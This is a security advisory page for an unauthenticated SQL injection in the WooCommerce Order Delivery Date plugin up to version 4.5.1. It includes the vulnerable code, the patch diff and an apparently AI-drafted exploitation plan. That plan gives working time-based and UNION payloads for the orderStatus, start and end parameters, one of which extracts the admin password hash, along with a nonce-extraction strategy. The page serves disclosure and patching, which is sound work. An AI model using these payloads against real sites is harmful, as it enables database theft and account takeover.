Order Delivery Date for WooCommerce <= 4.5.1 - Unauthenticated SQL Injection
Description
The Order Delivery Date for WooCommerce plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 4.5.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=4.5.1What Changed in the Fix
Changes introduced in v4.5.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-42386 ## 1. Vulnerability Summary The **Order Delivery Date for WooCommerce** plugin (versions <= 4.5.1) contains an unauthenticated SQL injection vulnerability in its Delivery Calendar JSON endpoint. The vulnerability exists because user-supplied parameters (…
Show full research plan
Exploitation Research Plan: CVE-2026-42386
1. Vulnerability Summary
The Order Delivery Date for WooCommerce plugin (versions <= 4.5.1) contains an unauthenticated SQL injection vulnerability in its Delivery Calendar JSON endpoint. The vulnerability exists because user-supplied parameters (specifically those used to filter or define the date range for calendar events) are concatenated directly into SQL queries without proper sanitization or parameterization using $wpdb->prepare().
The patched version (4.5.2) addresses this by implementing $wpdb->prepare() for all dynamic queries in the Orddd_Lite_Delivery_Calendar_Event_JSON class (found in includes/settings/class-delivery-calendar-event-json.php).
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
orddd_calendar_delivery_data(Inferred from the "Delivery Calendar JSON endpoint" description and plugin history). - Vulnerable Parameters:
orderStatus,orderShipping,start,end. - Authentication: Unauthenticated (
wp_ajax_nopriv_orddd_calendar_delivery_data). - Preconditions: The plugin must be active. While the calendar is primarily an admin feature, the
noprivregistration allows any user to trigger the data-fetching logic.
3. Code Flow
- Entry Point: A request is made to
admin-ajax.phpwith the actionorddd_calendar_delivery_data. - Hook: WordPress triggers
wp_ajax_nopriv_orddd_calendar_delivery_datawhich calls the handler inincludes/settings/class-delivery-calendar-event-json.php. - Parameter Extraction: The handler extracts filters from
$_GETor$_REQUEST, includingorderStatus(status filter),start(start date), andend(end date). - Query Construction: The plugin constructs a SQL query to fetch orders/deliveries.
- Example (Inferred):
SELECT ... FROM {$wpdb->prefix}posts WHERE post_type = 'shop_order' AND post_status IN ('" . $_GET['orderStatus'] . "') ...
- Example (Inferred):
- Sink: The unsanitized string is passed to
$wpdb->get_results(), leading to SQL injection.
4. Nonce Acquisition Strategy
The AJAX handler for the JSON endpoint may check for a nonce. Based on includes/settings/class-orddd-lite-delivery-calendar.php (line 41), the nonce action used for calendar events is orddd-delivery-calendar-event-json.
Strategy:
- Identify Script Localization: The plugin localizes the nonce in the
orddd_calendar_jsobject viawp_localize_scriptduring theadmin_enqueue_scriptshook or when the checkout block is rendered. - Trigger Script Loading: Create a page with the Order Delivery Date functionality (e.g., the checkout page or the backend calendar page).
- Extraction:
- Create a test page:
wp post create --post_type=page --post_title="Calendar Test" --post_status=publish --post_content='[woocommerce_checkout]' - Navigate to the page:
browser_navigate("http://localhost:8080/calendar-test") - Extract the nonce:
browser_eval("window.orddd_calendar_js?.orddd_delivery_calendar_nonce")orbrowser_eval("window.orddd_calendar_js?.pluginurl")to find the full endpoint. - Note: If
pluginurlis visible, it often contains the full AJAX URL with the nonce already appended as asecurityparameter.
- Create a test page:
5. Exploitation Strategy
We will use a time-based blind SQL injection to confirm the vulnerability.
Step 1: Discover the Endpoint
Verify if the orddd_calendar_delivery_data action exists and requires a nonce.
- Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php?action=orddd_calendar_delivery_data - Method: GET
- URL:
- Observation: If it returns
[]or data, it is unauthenticated and lacks nonce protection. If it returns-1or0, a nonce is required.
Step 2: Time-Based Payload (orderStatus)
Inject a sleep command via the orderStatus parameter.
- Payload:
wc-completed') OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
action=orddd_calendar_delivery_data&orderStatus=wc-completed') OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -&start=2024-01-01&end=2026-12-31
Note: If a nonce is required, append &security=[NONCE] to the body.
Step 3: Data Extraction (UNION-based)
If output is reflected in the JSON, use a UNION select to extract the admin password hash.
- Payload:
wc-completed') UNION SELECT 1,2,3,user_pass,5,6,7 FROM wp_users WHERE ID=1-- -(Column count must be adjusted based on the specific query).
6. Test Data Setup
- Activate Plugin: Ensure
order-delivery-date-for-woocommerceis active. - Enable Delivery: Go to
WooCommerce -> Settings -> Order Delivery Dateand ensure "Enable Delivery Date" is checked. - Create Order: Create at least one WooCommerce order with a delivery date to ensure the calendar query path is exercised.
wp eval "Orddd_Lite_Common::orddd_lite_update_order_meta( $ORDER_ID, '2026-05-20', '0000-00-00' );"
7. Expected Results
- Success: The HTTP response for the payload in Step 2 takes approximately 5 seconds longer than a standard request.
- Data Leak: If UNION-based, the JSON response will contain the
user_passhash in one of the event fields (e.g., in thetitleordescriptionof a calendar event).
8. Verification Steps
- Check Logs: If
WP_DEBUGis on, the query failure or the injected query will appear inwp-content/debug.log. - Database State: Use
wp db query "SELECT ..."to verify that the query structure we are targeting matches the actual plugin table structure.
9. Alternative Approaches
If orderStatus is not vulnerable, test the start and end parameters. FullCalendar usually sends these as strings.
- Start Payload:
2024-01-01' AND (SELECT 42 FROM (SELECT(SLEEP(5)))b) AND '1'='1 - End Payload:
2026-12-31' AND (SELECT 42 FROM (SELECT(SLEEP(5)))b) AND '1'='1
If the nopriv action name differs, check order_delivery_date.php for add_action calls involving "calendar" or "json". Specifically, look for the handler defined in includes/settings/class-delivery-calendar-event-json.php.
Summary
The Order Delivery Date for WooCommerce plugin is vulnerable to unauthenticated SQL Injection via the Delivery Calendar JSON endpoint. Due to insufficient sanitization and the lack of parameterization using $wpdb->prepare(), attackers can inject malicious SQL commands into queries that filter orders by status or date range.
Vulnerable Code
// includes/settings/class-orddd-lite-delivery-calendar.php line 356 $orddd_query = "SELECT DISTINCT wp.{$id}, {$post_status}, wpm1.meta_value AS orddd_timestamp , wpm2.meta_value AS delivery_date , wpm3.meta_value AS time_slot FROM `" . $wpdb->prefix . "$order_table` wp INNER JOIN `" . $wpdb->prefix . "$order_meta_table` wpm1 ON ( wp.{$id} = wpm1.{$post_id} AND wpm1.meta_key ='" . $order_timestamp_key . "' ) LEFT JOIN `" . $wpdb->prefix . "$order_meta_table` wpm2 ON ( wp.{$id} = wpm2.{$post_id} AND ( wpm2.meta_key ='" . $orddd_delivery_date_key . "' ) ) LEFT JOIN `" . $wpdb->prefix . "$order_meta_table` wpm3 ON ( wp.{$id} = wpm3.{$post_id} AND wpm3.meta_key ='_orddd_time_slot' ) "; $orddd_query = apply_filters( 'orddd_lite_calendar_join_filter', $orddd_query ); $orddd_query .= "WHERE $post_type = 'shop_order' AND $post_status IN ( '" . implode( "','", $order_status ) . "') AND ( ( wpm1.meta_key = '" . $order_timestamp_key . "' AND wpm1.meta_value >= '" . $event_start_timestamp . "' AND wpm1.meta_value <= '" . $event_end_timestamp . "' ) OR ( wpm2.meta_key = '" . $delivery_date_field_label . "' AND STR_TO_DATE( wpm2.meta_value, '" . $date_str . "' ) >= '" . $event_start . "' AND STR_TO_DATE( wpm2.meta_value, '" . $date_str . "' ) <= '" . $event_end . "' ) OR ( wpm2.meta_key = '" . $delivery_date_field_label . "' AND STR_TO_DATE( wpm2.meta_value, '" . $date_str . "' ) >= '" . $event_start . "' AND STR_TO_DATE( wpm2.meta_value, '" . $date_str . "' ) <= '" . $event_end . "' ) OR ( wpm2.meta_key = '" . $orddd_delivery_date_key . "' AND STR_TO_DATE( wpm2.meta_value, '" . $date_str . "' ) >= '" . $event_start . "' AND STR_TO_DATE( wpm2.meta_value, '" . $date_str . "' ) <= '" . $event_end . "' ) )"; $orddd_query = apply_filters( 'orddd_lite_calendar_where_filter', $orddd_query ); $results = $wpdb->get_results( $orddd_query );
Security Fix
@@ -356,25 +384,65 @@ $id = 'id'; } - $orddd_query = "SELECT DISTINCT wp.{$id}, {$post_status}, wpm1.meta_value AS orddd_timestamp , wpm2.meta_value AS delivery_date , wpm3.meta_value AS time_slot - FROM `" . $wpdb->prefix . "$order_table` wp - INNER JOIN `" . $wpdb->prefix . "$order_meta_table` wpm1 ON ( wp.{$id} = wpm1.{$post_id} AND wpm1.meta_key ='" . $order_timestamp_key . "' ) - LEFT JOIN `" . $wpdb->prefix . "$order_meta_table` wpm2 ON ( wp.{$id} = wpm2.{$post_id} AND ( wpm2.meta_key ='" . $orddd_delivery_date_key . "' ) ) - LEFT JOIN `" . $wpdb->prefix . "$order_meta_table` wpm3 ON ( wp.{$id} = wpm3.{$post_id} AND wpm3.meta_key ='_orddd_time_slot' ) "; - - $orddd_query = apply_filters( 'orddd_lite_calendar_join_filter', $orddd_query ); - - $orddd_query .= "WHERE $post_type = 'shop_order' AND $post_status IN ( '" . implode( "','", $order_status ) . "') - AND - ( - ( wpm1.meta_key = '" . $order_timestamp_key . "' AND wpm1.meta_value >= '" . $event_start_timestamp . "' AND wpm1.meta_value <= '" . $event_end_timestamp . "' ) OR - ( wpm2.meta_key = '" . $delivery_date_field_label . "' AND STR_TO_DATE( wpm2.meta_value, '" . $date_str . "' ) >= '" . $event_start . "' AND STR_TO_DATE( wpm2.meta_value, '" . $date_str . "' ) <= '" . $event_end . "' ) - OR ( wpm2.meta_key = '" . $delivery_date_field_label . "' AND STR_TO_DATE( wpm2.meta_value, '" . $date_str . "' ) >= '" . $event_start . "' AND STR_TO_DATE( wpm2.meta_value, '" . $date_str . "' ) <= '" . $event_end . "' ) - OR ( wpm2.meta_key = '" . $orddd_delivery_date_key . "' AND STR_TO_DATE( wpm2.meta_value, '" . $date_str . "' ) >= '" . $event_start . "' AND STR_TO_DATE( wpm2.meta_value, '" . $date_str . "' ) <= '" . $event_end . "' ) - )"; + $order_status = array_map( 'sanitize_text_field', (array) $order_status ); + $order_status = array_filter( $order_status ); + + if ( empty( $order_status ) ) { + return array(); + } + + $status_placeholders = implode( ',', array_fill( 0, count( $order_status ), '%s' ) ); + + $event_start = ! empty( $event_start ) ? date( 'Y-m-d', strtotime( $event_start ) ) : ''; + $event_end = ! empty( $event_end ) ? date( 'Y-m-d', strtotime( $event_end ) ) : ''; + + $event_start_timestamp = ! empty( $event_start_timestamp ) ? intval( $event_start_timestamp ) : 0; + $event_end_timestamp = ! empty( $event_end_timestamp ) ? intval( $event_end_timestamp ) : 0; + + $query = " + SELECT DISTINCT wp.{$id}, {$post_status}, + wpm1.meta_value AS orddd_timestamp, + wpm2.meta_value AS delivery_date, + wpm3.meta_value AS time_slot + FROM `{$wpdb->prefix}{$order_table}` wp + INNER JOIN `{$wpdb->prefix}{$order_meta_table}` wpm1 + ON ( wp.{$id} = wpm1.{$post_id} AND wpm1.meta_key = %s ) + LEFT JOIN `{$wpdb->prefix}{$order_meta_table}` wpm2 + ON ( wp.{$id} = wpm2.{$post_id} AND wpm2.meta_key = %s ) + LEFT JOIN `{$wpdb->prefix}{$order_meta_table}` wpm3 + ON ( wp.{$id} = wpm3.{$post_id} AND wpm3.meta_key = %s ) + WHERE {$post_type} = %s + AND {$post_status} IN ($status_placeholders) + AND ( + ( wpm1.meta_value >= %d AND wpm1.meta_value <= %d ) + OR + ( STR_TO_DATE( wpm2.meta_value, %s ) >= %s + AND STR_TO_DATE( wpm2.meta_value, %s ) <= %s ) + ) + "; + + // Prepare values. + $query_args = array_merge( + array( + $order_timestamp_key, + $orddd_delivery_date_key, + '_orddd_time_slot', + 'shop_order', + ), + $order_status, + array( + $event_start_timestamp, + $event_end_timestamp, + $date_str, + $event_start, + $date_str, + $event_end, + ) + ); - $orddd_query = apply_filters( 'orddd_lite_calendar_where_filter', $orddd_query ); - $results = $wpdb->get_results( $orddd_query );// nosemgrep:audit.php.wp.security.sqli.input-in-sinks + $prepared_query = $wpdb->prepare( $query, $query_args ); + $prepared_query = apply_filters( 'orddd_lite_calendar_where_filter', $prepared_query ); + $results = $wpdb->get_results( $prepared_query );
Exploit Outline
The exploit targets the unauthenticated AJAX action `orddd_calendar_delivery_data` (or related delivery calendar JSON endpoints). An attacker can provide a malicious payload via the `orderStatus` GET or POST parameter. Because the plugin uses `implode("','", $order_status)` to construct an `IN` clause and directly concatenates the result into a SQL string, an attacker can break out of the string literal using a closing quote and parenthesis (e.g., `wc-completed')`). From there, they can append arbitrary SQL clauses, such as an `OR` condition combined with a `SLEEP()` command for time-based blind injection, or `UNION SELECT` to extract data from the `wp_users` table.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.